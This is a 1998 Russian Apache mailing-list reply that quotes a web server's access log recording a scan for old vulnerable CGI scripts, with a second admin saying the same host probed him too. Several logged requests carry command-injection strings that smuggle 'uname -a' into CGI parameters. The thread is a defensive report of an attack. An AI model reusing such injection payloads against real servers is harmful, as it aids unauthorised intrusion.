Re: [apache-rus] Атака?

[Boris Litvinenko <lb@vips.icn.gov.ru>]

Andrey V. Petrikov wrote:

> Hello!
> Обнаружил у себя в access_log следующее:
> 199.203.59.5 - - [08/Dec/1998:19:17:54 +0300] "GET /cgi-bin/Count.cgi HTTP/1.0" 200 360
> 199.203.59.5 - - [08/Dec/1998:19:17:59 +0300] "GET /cgi-bin/webdist.cgi?distloc=;uname%20%2Da HTTP/1.0" 404 285
> 199.203.59.5 - - [08/Dec/1998:19:18:03 +0300] "GET /cgi-bin/phf?QAlias=x%0Auname%20%2Da HTTP/1.0" 404 277
> 199.203.59.5 - - [08/Dec/1998:19:18:10 +0300] "GET /cgi-bin/php.cgi? HTTP/1.0" 404 281
> 199.203.59.5 - - [08/Dec/1998:19:18:13 +0300] "GET /cgi-bin/ews/ews/architext_query.pl HTTP/1.0" 404 300
> 199.203.59.5 - - [08/Dec/1998:19:18:15 +0300] "GET /cgi-bin/campas?%0Auname%20%2Da HTTP/1.0" 404 280
> 199.203.59.5 - - [08/Dec/1998:19:18:18 +0300] "GET /cgi-bin/faxsurvey?uname%20%2Da HTTP/1.0" 404 283
> 199.203.59.5 - - [08/Dec/1998:19:18:24 +0300] "GET /cgi-bin/glimpse HTTP/1.0" 404 281
> 199.203.59.5 - - [08/Dec/1998:19:18:28 +0300] "GET /cgi-bin/handler/useless_shit;uname%20%2Da?data=Download HTTP/1.0" 404 303
> 199.203.59.5 - - [08/Dec/1998:19:18:32 +0300] "GET /cgi-bin/webgais HTTP/1.0" 404 281
> 199.203.59.5 - - [08/Dec/1998:19:18:35 +0300] "GET /cgi-bin/info2www HTTP/1.0" 404 282
> 199.203.59.5 - - [08/Dec/1998:19:18:41 +0300] "GET /cgi-bin/websendmail HTTP/1.0" 404 285
> Из всех перечисленных cgi-шек есть только Count.cgi.
> Вопрос: не попытка ли это подлома?
> Может кто знает, что за cgi-шки пыталиси выполнить?
>
> Best regards,
>  Andrey
>  mailto:avp@rnivc.kis.ru

  У меня та же серия запросов от того же хоста была 7-го декабря

С ув., Борис.